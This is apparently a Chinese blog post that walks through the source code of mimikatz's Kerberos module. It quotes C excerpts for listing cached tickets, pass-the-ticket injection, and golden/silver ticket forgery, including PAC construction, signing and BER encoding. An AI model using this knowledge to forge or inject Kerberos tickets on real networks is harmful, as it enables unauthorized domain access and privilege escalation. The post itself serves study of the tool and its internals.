mimikatz源码学习-Kerberos模块
mimikatz是内网渗透中的一大利器,本文主要讨论学习mimikatz中与Kerberos协议相关的代码
mimikatz的Kerberos模块中常用大概为:
1、 kerberos::list :列出当前的所有票据(当前用户所在session,效果等同于命令klist)
2、kerberos::ptt :Pass The Ticket,即票据传递
3、kerberos::golden :伪造票据,如黄金票据、白银票据
LsaCallKerberosPackage
LsaCallKerberosPackage是ntsecapi.h下的一个API,MSDN对它的描述如下:
The LsaCallAuthenticationPackage function is used by a logon application to communicate with an authentication package.
This function is typically used to access services provided by the authentication package.
大意为这个函数用作登录程序和身份认证包通信,但通常被用来访问身份认证包提供的服务。在mimikatz的源码中列出票据和票据传递两个功能模块都围绕这个函数展开,通过传递不同的参数得到不同的执行结果。
函数原型如下:
NTSTATUS LsaCallAuthenticationPackage( HANDLE LsaHandle, ULONG AuthenticationPackage, // 提供身份认证的标识符 PVOID ProtocolSubmitBuffer, // 用于传递给身份验证包的缓冲区 ULONG SubmitBufferLength, PVOID *ProtocolReturnBuffer, // 接收从验证包返回的数据的缓冲区 PULONG ReturnBufferLength, PNTSTATUS ProtocolStatus);
列出票据
mimikatz的源码中这个功能对应的代码比较简单,只是调用了LsaCallAuthenticationPackage,然后对返回的数据进行解析:
status = LsaCallKerberosPackage(&kerbCacheRequest, sizeof(KERB_QUERY_TKT_CACHE_REQUEST), (PVOID *) &pKerbCacheResponse, &szData, &packageStatus); if(NT_SUCCESS(status)) { if(NT_SUCCESS(packageStatus)) { for(i = 0; i < pKerbCacheResponse->CountOfTickets; i++) { kprintf(L"[%08x] - 0x%08x - %s", i, pKerbCacheResponse->Tickets[i].EncryptionType, kuhl_m_kerberos_ticket_etype (pKerbCacheResponse->Tickets[i].EncryptionType)); kprintf(L" Start/End/MaxRenew: "); kull_m_string_displayLocalFileTime((PFILETIME) &pKerbCacheResponse->Tickets[i].StartTime); kprintf(L" ; "); kull_m_string_displayLocalFileTime((PFILETIME) &pKerbCacheResponse->Tickets[i].EndTime); kprintf(L" ; "); kull_m_string_displayLocalFileTime((PFILETIME) &pKerbCacheResponse->Tickets[i].RenewTime); kprintf(L" Server Name : %wZ @ %wZ", &pKerbCacheResponse->Tickets[i].ServerName, &pKerbCacheResponse->Tickets[i]. ServerRealm); kprintf(L" Client Name : %wZ @ %wZ", &pKerbCacheResponse->Tickets[i].ClientName, &pKerbCacheResponse->Tickets[i]. ClientRealm); kprintf(L" Flags %08x : ", pKerbCacheResponse->Tickets[i].TicketFlags); kuhl_m_kerberos_ticket_displayFlags(pKerbCacheResponse->Tickets[i].TicketFlags);
注意到,mimikatz使用LsaCallKerberosPackage对LsaCallAuthenticationPackage做了简要封装,实际上省去了前两个参数,前两个参数被当作全局变量在初始化时完成赋值,所以这里我们只需要关注函数执行之后返回的数据,代码中对应为变量pKerbCacheResponse,变量对应的结构体在MSDN中描述如下:
typedef struct _KERB_QUERY_TKT_CACHE_RESPONSE { KERB_PROTOCOL_MESSAGE_TYPE MessageType; ULONG CountOfTickets; // 数组Tickets中的票据数量 KERB_TICKET_CACHE_INFO Tickets[ANYSIZE_ARRAY]; } KERB_QUERY_TKT_CACHE_RESPONSE, *PKERB_QUERY_TKT_CACHE_RESPONSE;
其中,结构体KERB_TICKET_CACHE_INFO描述如下,用来描述缓存的Kerberos票据相关信息:
typedef struct _KERB_TICKET_CACHE_INFO { UNICODE_STRING ServerName; UNICODE_STRING RealmName; LARGE_INTEGER StartTime; LARGE_INTEGER EndTime; LARGE_INTEGER RenewTime; LONG EncryptionType; ULONG TicketFlags;} KERB_TICKET_CACHE_INFO, *PKERB_TICKET_CACHE_INFO;
导出票据时同样是调用这个API,只是这时我们需要关注用于传递请求的参数,即LsaCallAuthenticationPackage的第三个参数ProtocolSubmitBuffer,对应的结构体在MSDN中描述为:
typedef struct _KERB_RETRIEVE_TKT_REQUEST { KERB_PROTOCOL_MESSAGE_TYPE MessageType; LUID LogonId; UNICODE_STRING TargetName; // 目标服务名 ULONG TicketFlags; // 用于标记票据用途 ULONG CacheOptions; // 搜索缓存的选项,KERB_RETRIEVE_TICKET_AS_KERB_CRED表示以Keberos凭证的形式返回票据 LONG EncryptionType; SecHandle CredentialsHandle;} KERB_RETRIEVE_TKT_REQUEST, *PKERB_RETRIEVE_TKT_REQUEST;
对应的,用于接收请求的票据用结构体_KERB_RETRIEVE_TKT_RESPONSE描述,该结构体只包含一个成员结构体KERB_EXTERNAL_TICKET,而这个结构体的成员EncodedTicketSize和EncodedTicket分别为返回的票据大小和票据内容。
其实不难发现,仅需要查询缓存中的票据时,使用结构体KERB_QUERY_TKT_CACHE_REQUEST和KERB_QUERY_TKT_CACHE_RESPONSE并且用于请求的结构体变量置零即可;但是想要获取票据内容时就需要使用结构体KERB_RETRIEVE_TKT_REQUEST和KERB_RETRIEVE_TKT_RESPONSE了,与查询不同,获取票据内容时需要在请求中指明请求的类型(MessageType)、搜索缓存的选项(CacheOptions)、票据标志(TicketFlags)、目标服务名(TargetName)。
不过需要注意的是,结构体成员中UNICODE_STRING对应的是结构体类型,其定义如下:
typedef struct _UNICODE_STRING { USHORT Length; USHORT MaximumLength; PWSTR Buffer;} UNICODE_STRING, *PUNICODE_STRING;
所以,对TargetName赋值时,需要单独的一块空间存放Buffer对应的值,mimikatz的处理如下:
szData = sizeof(KERB_RETRIEVE_TKT_REQUEST) + pKerbCacheResponse->Tickets[i].ServerName.MaximumLength;if(pKerbRetrieveRequest = (PKERB_RETRIEVE_TKT_REQUEST) LocalAlloc(LPTR, szData)).........pKerbRetrieveRequest->TargetName.Buffer = (PWSTR) ((PBYTE) pKerbRetrieveRequest + sizeof(KERB_RETRIEVE_TKT_REQUEST));RtlCopyMemory(pKerbRetrieveRequest->TargetName.Buffer, pKerbCacheResponse->Tickets[i].ServerName.Buffer, pKerbRetrieveRequest->TargetName.MaximumLength); 此处的思路是header+content,这样做可以保证数据在同一块内存中,避免申请多块内存。
至此,其实列出缓存中的票据以及导出票据的分析已经结束,但是我们还忽略了两个参数,即在mimikatz中以全局变量的形式传入的句柄和身份认证包标识。MSDN的句柄LsaHandle的描述为从与调用函数 LsaRegisterLogonProcess 或 LsaConnectUntrusted获得,而身份认证包标识是从函数LsaLookupAuthenticationPackage中获取,mimikatz中的代码也确实如此:
NTSTATUS status = LsaConnectUntrusted(&g_hLSA); if(NT_SUCCESS(status)) { status = LsaLookupAuthenticationPackage(g_hLSA, &kerberosPackageName, &g_AuthenticationPackageId_Kerberos); g_isAuthPackageKerberos = NT_SUCCESS(status);
其中,kerberosPackageName为结构体LSA_STRING类型的变量,赋值为MICROSOFT_KERBEROS_NAME_A,指定为ANSI版本的Kerberos身份认证包名称。
如果要清空缓存,就需要用到结构体_KERB_PURGE_TKT_CACHE_REQUEST了,它描述了想要删除的缓存票据的信息,在MSDN中的定义如下:
typedef struct _KERB_PURGE_TKT_CACHE_REQUEST { KERB_PROTOCOL_MESSAGE_TYPE MessageType; LUID LogonId; UNICODE_STRING ServerName; UNICODE_STRING RealmName;} KERB_PURGE_TKT_CACHE_REQUEST, *PKERB_PURGE_TKT_CACHE_REQUEST;
其中需要注意的是第一个成员(MessageType),必须设置为KerbPurgeTicketCacheMessage。
票据传递
票据传递部分同样是使用LsaCallAuthenticationPackage,只不过这次使用的结构体是KERB_SUBMIT_TKT_REQUEST,在NTSecAPI.h中对该结构体的定义如下:
typedef struct _KERB_SUBMIT_TKT_REQUEST { KERB_PROTOCOL_MESSAGE_TYPE MessageType; LUID LogonId; ULONG Flags; KERB_CRYPTO_KEY32 Key; // key to decrypt KERB_CRED ULONG KerbCredSize; ULONG KerbCredOffset;} KERB_SUBMIT_TKT_REQUEST, *PKERB_SUBMIT_TKT_REQUEST;
关于这个结构体的描述在MSDN中似乎没有发现,不过根据其他结构体和字段的命名不难猜测相应字段的含义。对比mimikatz源码来看其实只需要设置三部分内容,一是MessageType,这里需要设置为固定内容:KerbSubmitTicketMessage;剩下的两部分内容即票据对应的大小和位置(因为票据数据是追加在结构体后的,所以这里偏移是结构体的大小),设置完之后调用函数LsaCallAuthenticationPackage即可完成票据传递:
submitSize = sizeof(KERB_SUBMIT_TKT_REQUEST) + dataSize;if(pKerbSubmit = (PKERB_SUBMIT_TKT_REQUEST) LocalAlloc(LPTR, submitSize)){ pKerbSubmit->MessageType = KerbSubmitTicketMessage; pKerbSubmit->KerbCredSize = dataSize; pKerbSubmit->KerbCredOffset = sizeof(KERB_SUBMIT_TKT_REQUEST); RtlCopyMemory((PBYTE) pKerbSubmit + pKerbSubmit->KerbCredOffset, data, dataSize); status = LsaCallKerberosPackage(pKerbSubmit, submitSize, &dumPtr, &responseSize, &packageStatus);
伪造票据
mimikatz中描述票据的结构体定义如下:
typedef struct _KIWI_KERBEROS_TICKET { PKERB_EXTERNAL_NAME ServiceName; LSA_UNICODE_STRING DomainName; PKERB_EXTERNAL_NAME TargetName; LSA_UNICODE_STRING TargetDomainName; PKERB_EXTERNAL_NAME ClientName; LSA_UNICODE_STRING AltTargetDomainName; LSA_UNICODE_STRING Description; FILETIME StartTime; FILETIME EndTime; FILETIME RenewUntil; LONG KeyType; KIWI_KERBEROS_BUFFER Key; ULONG TicketFlags; LONG TicketEncType; ULONG TicketKvno; KIWI_KERBEROS_BUFFER Ticket;} KIWI_KERBEROS_TICKET, *PKIWI_KERBEROS_TICKET;
从结构体定义其实可以看出ticket所包含的内容,在Kerberos认证中,以AS-REP为例,我们知道AS返回给用户两部分内容: 一是TGT,二是使用用户密码hash加密的session key。其中,TGT包含了session key(登录会话密匙)、失效时间以及pac信息(特权属性证书)等内容,不过在mimikatz中pac信息是单独生成的,所以上述的结构体定义中并不包含这部分内容。
从生成票据的代码流程来看,生成TGT和TGS的代码基本一致,最后会生成哪种票据取决于传递的参数,比如TGT需要krbtgt的哈希而TGS需要请求的服务。代码中生成票据的代码主要是函数kuhl_m_kerberos_golden_data,首先根据传入的参数完成上述定义的ticket结构体的初始化,然后根据是否传入sid来决定是否生成签名的pac:
if(sid) // we want a PAC !{ if(pValidationInfo = kuhl_m_pac_infoToValidationInfo(&lifetime->TicketStart, username, domainname, LogonDomainName, sid, userid, groups, cbGroups, sids, cbSids)) { if(kuhl_m_pac_validationInfo_to_PAC(pValidationInfo, NULL, NULL, SignatureType, pClaimsSet, &pacType, &pacTypeSize)) { kprintf(L" * PAC generated"); status = kuhl_m_pac_signature(pacType, pacTypeSize, SignatureType, key, keySize); if(NT_SUCCESS(status)) kprintf(L" * PAC signed"); } }}
随后就是生成对应的ticket,详细来讲就是先按照固定格式生成要加密的内容,然后对这部分内容加密,最后返回加密的结果。对于加密部分,围绕一个重要函数:CDLocateCSystem,他第二个参数传入的是结构体,这个结构体包含了指向加解密函数的指针等信息,定义如下:
typedef struct _KERB_ECRYPT { ULONG EncryptionType; ULONG BlockSize; ULONG ExportableEncryptionType; ULONG KeySize; ULONG HeaderSize; ULONG PreferredCheckSum; ULONG Attributes; PCWSTR Name; PKERB_ECRYPT_INITIALIZE Initialize; PKERB_ECRYPT_ENCRYPT Encrypt; PKERB_ECRYPT_DECRYPT Decrypt; PKERB_ECRYPT_FINISH Finish; union { PKERB_ECRYPT_HASHPASSWORD_NT5 HashPassword_NT5; PKERB_ECRYPT_HASHPASSWORD_NT6 HashPassword_NT6; }; PKERB_ECRYPT_RANDOMKEY RandomKey; PKERB_ECRYPT_CONTROL Control; PVOID unk0_null; PVOID unk1_null; PVOID unk2_null;} KERB_ECRYPT, *PKERB_ECRYPT;
CDLocateCSystem是Windows的一个API,位于cryptdll.dll,但粗略的搜索了一下并没有相关说明,似乎微软并未公开它,不过根据上述结构体以及dll文件,可以大概分析猜测这个api的作用。cryptdll.dll这个文件的导出函数并不多,而且可以大概猜测函数可能的功能:
导入上述定义的结构体,查看CDLocateCSystem对应的伪代码,发现这个函数其实就是通过传入的type从链表中寻找对应的块:
再接着跟一下变量cCSystems, 可以发现只有以后函数对这个变量有赋值操作,跟到函数CDRegisterCSystem,发现这个函数实际上是通过传入的参数对变量赋值:
再看这个函数的调用处,发现注册了一系列的密码算法:
继续分析可以发现LibAttach在DllMain中被调用,也就是说这个dll文件一被加载,就会注册各种密码学算法,供相关API使用,所以代码中调用CDLocateCSystem的目的是根据传入的eType获取一个用于eType对应类型的密码算法的实现,进而完成相应的加密或解密操作。根据结构体的成员定义以及mimikatz中相关的加密代码,可以猜测cryptdll中注册的密码学算法,使用方法基本一致,主要有一下流程:
- 通过CDLocateCSystem获取对应的结构体数据。
- 初始化操作(包括设置密钥、加解密数据大小等)。
- 加解密操作。
- 销毁相关环境。
回到正题,生成加密的ticket信息后,“格式化”票据信息生成票据,然后将票据写入缓存或者文件。
整个票据的生成流程大致如上所述,不过整个过程忽略了两个地方:一是PAC是如何生成的;二是加密票据前后调用的两个函数kuhl_m_kerberos_ticket_createAppEncTicketPart和kuhl_m_kerberos_ticket_createAppKrbCred。
PAC生成流程
PAC生成大体上分三个部分,也分别对应三个函数:
1、生成验证信息:kuhl_m_pac_infoToValidationInfo
2、生成PAC:kuhl_m_pac_validationInfo_to_PAC
3、PAC签名:kuhl_m_pac_signature
对于第一部分,可以透过结构体PKERB_VALIDATION_INFO来分析生成验证信息需要的内容,结构体的定义如下:
typedef struct _KERB_VALIDATION_INFO { FILETIME LogonTime; FILETIME LogoffTime; FILETIME KickOffTime; FILETIME PasswordLastSet; FILETIME PasswordCanChange; FILETIME PasswordMustChange; RPC_UNICODE_STRING EffectiveName; RPC_UNICODE_STRING FullName; RPC_UNICODE_STRING LogonScript; RPC_UNICODE_STRING ProfilePath; RPC_UNICODE_STRING HomeDirectory; RPC_UNICODE_STRING HomeDirectoryDrive; USHORT LogonCount; USHORT BadPasswordCount; ULONG UserId; ULONG PrimaryGroupId; ULONG GroupCount; /* [size_is] */ PGROUP_MEMBERSHIP GroupIds; ULONG UserFlags; USER_SESSION_KEY UserSessionKey; RPC_UNICODE_STRING LogonServer; RPC_UNICODE_STRING LogonDomainName; PISID LogonDomainId; ULONG Reserved1[ 2 ]; ULONG UserAccountControl; ULONG SubAuthStatus; FILETIME LastSuccessfulILogon; FILETIME LastFailedILogon; ULONG FailedILogonCount; ULONG Reserved3; ULONG SidCount; /* [size_is] */ PKERB_SID_AND_ATTRIBUTES ExtraSids; PISID ResourceGroupDomainSid; ULONG ResourceGroupCount; /* [size_is] */ PGROUP_MEMBERSHIP ResourceGroupIds;} KERB_VALIDATION_INFO, *PKERB_VALIDATION_INFO;
关于结构体中的几个和时间相关的成员,其实只需要关注LogonTime,它由传入的结构体变量lifeTimeData中的TicketStart成员赋值,后者的数据内容通过GetSystemTimeAsFileTime获得,这个msdn对这个API的解释为:获取当前系统的时间。当然,最后赋值给LogonTime的值是处理之后的值。而对于剩余的和时间相关的成员,统一赋值为0x7fffffffffffffffll。
GetSystemTimeAsFileTime(&lifeTimeData.TicketStart);*(PULONGLONG) &lifeTimeData.TicketStart -= *(PULONGLONG) &lifeTimeData.TicketStart % 10000000 - ((LONGLONG) wcstol(szLifetime, NULL, 0) * 10000000 * 60);
此外,UserId、GroupIds、GroupCount等成员实际上是从命令行参数获得,但通常情况下生成票据我们似乎并没有用到这些参数,所以传入的值实际上是NULL。
获取到验证信息之后,就根据这些信息生成APC,PAC的总体结构如下:
关于PAC结构的代码如下:
(*pacType)->cBuffers = n;(*pacType)->Version = 0; (*pacType)->Buffers[0].cbBufferSize = szLogonInfo;(*pacType)->Buffers[0].ulType = PACINFO_TYPE_LOGON_INFO;(*pacType)->Buffers[0].Offset = offsetData;RtlCopyMemory((PBYTE) *pacType + (*pacType)->Buffers[0].Offset, pLogonInfo, (*pacType)->Buffers[0].cbBufferSize); (*pacType)->Buffers[1].cbBufferSize = szClientInfo;(*pacType)->Buffers[1].ulType = PACINFO_TYPE_CNAME_TINFO;(*pacType)->Buffers[1].Offset = (*pacType)->Buffers[0].Offset + szLogonInfoAligned;RtlCopyMemory((PBYTE) *pacType + (*pacType)->Buffers[1].Offset, pClientInfo, (*pacType)->Buffers[1].cbBufferSize); if(szClaimsAligned){ (*pacType)->Buffers[2].cbBufferSize = szClaims; (*pacType)->Buffers[2].ulType = PACINFO_TYPE_CLIENT_CLAIMS; (*pacType)->Buffers[2].Offset = (*pacType)->Buffers[1].Offset + szClientInfoAligned; RtlCopyMemory((PBYTE) *pacType + (*pacType)->Buffers[2].Offset, pClaims, (*pacType)->Buffers[2].cbBufferSize);} (*pacType)->Buffers[n - 2].cbBufferSize = szSignature;(*pacType)->Buffers[n - 2].ulType = PACINFO_TYPE_CHECKSUM_SRV;(*pacType)->Buffers[n - 2].Offset = (*pacType)->Buffers[n - 3].Offset + SIZE_ALIGN((*pacType)->Buffers[n - 3].cbBufferSize, 8);RtlCopyMemory((PBYTE) *pacType + (*pacType)->Buffers[n - 2].Offset, &signature, FIELD_OFFSET(PAC_SIGNATURE_DATA, Signature)); (*pacType)->Buffers[n - 1].cbBufferSize = szSignature;(*pacType)->Buffers[n - 1].ulType = PACINFO_TYPE_CHECKSUM_KDC;(*pacType)->Buffers[n - 1].Offset = (*pacType)->Buffers[n - 2].Offset + szSignatureAligned;RtlCopyMemory((PBYTE) *pacType + (*pacType)->Buffers[n - 1].Offset, &signature, FIELD_OFFSET(PAC_SIGNATURE_DATA, Signature));
其中,第一部分(pLogonInfo)即对kuhl_m_pac_infoToValidationInfo的结果进行加密操作后的内容,这里加密实际上是调用的kull_m_rpc_Generic_Encode,不过实际上最后的加密调用了NdrMesTypeEncode2,它是midles.h下的一个函数。
关于客户端信息(ClientInfo),首先需要明确的是这部分内容是明文信息,主要内容为用户名。Cliams其实也是加密的数据,是否包含这部分内容取决于是否传入参数Claims,显然通常情况下我们并没有传入这一项,所以这里不再继续跟进。
至此,PAC的主体已经说明结束,剩余两部分保存的是主体部分的校验和。计算校验和使用的是CDLocateCheckSum,这个API来自cryptdll.dll,用法和CDLocateCSystem类似。
两个函数
其实kuhl_m_kerberos_ticket_createAppEncTicketPart和kuhl_m_kerberos_ticket_createAppKrbCred都是围绕两个结构体展开的即:
typedef struct berElement { UNICODE PTCHAR opaque; } BerElement; typedef struct berval { ULONG bv_len; UNICODE PTCHAR bv_val;} LDAP_BERVAL, *PLDAP_BERVAL, BERVAL, *PBERVAL;
涉及到这两个结构体的函数位于winber.h,不过对于前面提到的两个函数,我们们只需要关注两个函数:
1、ber_printf,顾名思义,其实就是用来格式化数据的,mimikatz中的kull_m_asn1_GenTime其实也是对该函数的封装
2、ber_flatten,MSDN的解释是从BerElement结构中获取数据保存到一个berval结构中,换句话说其实也就是对数据的进一步“格式化”
关于头文件winber.h,其实MSDN上也说明了是用于LDAP的,因为AD域是基于LDAP的,所以这里对数据的一些“格式化”操作也是事出有因。
此外,使用这个头文件时还需引入windows.h和winldap.h,并且添加依赖项:wldap32.lib(#pragma comment(lib,"wldap32.lib"))
当然,分析这两个函数的主要目的并不它实现了什么样的功能,而是透过这个功能(对数据“格式化”)得知票据的加密部分的内容构成,以及最后得到的票据内容构成。
首先看加密部分的内容构成,其实从函数传入的参数来看,这部分应该包含了整个票据的所有信息,因为函数kuhl_m_kerberos_ticket_createAppEncTicketPart获取的参数是记录票据信息的结构体数据和pac信息,查看函数的实现部分其实和猜想大差不差:按照固定的顺序将域名、用户名、生成/失效时间等信息通过ber_printf写入到BerElement类型的变量随后通过ber_flatten得到最终需要加密的数据格式(存储到结构体berval类型的变量中),并返回给调用者。
透过mimikatz的代码,其实可以看出要加密的内容大体的格式:
ber_printf(pBer, "t{{t{", MAKE_APP_TAG(ID_APP_ENCTICKETPART), MAKE_CTX_TAG(ID_CTX_ENCTICKETPART_FLAGS));kull_m_asn1_BitStringFromULONG(pBer, ticket->TicketFlags);ber_printf(pBer, "}t{", MAKE_CTX_TAG(ID_CTX_ENCTICKETPART_KEY));kuhl_m_kerberos_ticket_createSequenceEncryptionKey(pBer, ticket->KeyType, ticket->Key.Value, ticket->Key.Length);ber_printf(pBer, "}t{", MAKE_CTX_TAG(ID_CTX_ENCTICKETPART_CREALM));kull_m_asn1_GenString(pBer, &ticket->AltTargetDomainName);ber_printf(pBer, "}t{", MAKE_CTX_TAG(ID_CTX_ENCTICKETPART_CNAME));kuhl_m_kerberos_ticket_createSequencePrimaryName(pBer, ticket->ClientName);ber_printf(pBer, "}t{{t{i}t{o}}}t{", MAKE_CTX_TAG(ID_CTX_ENCTICKETPART_TRANSITED), MAKE_CTX_TAG(ID_CTX_TRANSITEDENCODING_TR_TYPE), 0, MAKE_CTX_TAG(ID_CTX_TRANSITEDENCODING_CONTENTS), NULL, 0, MAKE_CTX_TAG(ID_CTX_ENCTICKETPART_AUTHTIME));kull_m_asn1_GenTime(pBer, &ticket->StartTime);ber_printf(pBer, "}t{", MAKE_CTX_TAG(ID_CTX_ENCTICKETPART_STARTTIME));kull_m_asn1_GenTime(pBer, &ticket->StartTime);ber_printf(pBer, "}t{", MAKE_CTX_TAG(ID_CTX_ENCTICKETPART_ENDTIME));kull_m_asn1_GenTime(pBer, &ticket->EndTime);ber_printf(pBer, "}t{", MAKE_CTX_TAG(ID_CTX_ENCTICKETPART_RENEW_TILL));kull_m_asn1_GenTime(pBer, &ticket->RenewUntil);ber_printf(pBer, "}"); /* ID_CTX_ENCTICKETPART_CADDR not present */if(PacAuthData && PacAuthDataSize){ ber_printf(pBer, "t{{{t{i}t{", MAKE_CTX_TAG(ID_CTX_ENCTICKETPART_AUTHORIZATION_DATA), MAKE_CTX_TAG(ID_CTX_AUTHORIZATIONDATA_AD_TYPE), ID_AUTHDATA_AD_IF_RELEVANT, MAKE_CTX_TAG(ID_CTX_AUTHORIZATIONDATA_AD_DATA)); if(pBerPac = ber_alloc_t(LBER_USE_DER)) { ber_printf(pBerPac, "{{t{i}t{o}}}", MAKE_CTX_TAG(ID_CTX_AUTHORIZATIONDATA_AD_TYPE), ID_AUTHDATA_AD_WIN2K_PAC, MAKE_CTX_TAG(ID_CTX_AUTHORIZATIONDATA_AD_DATA), PacAuthData, PacAuthDataSize); if(ber_flatten(pBerPac, &pBerValPac) >= 0) ber_printf(pBer, "o", pBerValPac->bv_val, pBerValPac->bv_len); ber_free(pBerPac, 1); } ber_printf(pBer, "}}}}");}ber_printf(pBer, "}}"); 这里值得注意的是PAC信息是作为一个可选项加入到要加密内容的尾部的,而是否包含PAC信息取决于生成票据时是否传入SID。对于最后载入缓存或写入文件的内容,即kuhl_m_kerberos_ticket_createAppKrbCred的返回值也是通过同样的形式构造数据,最后调用ber_flatten生成berval结构的数据。
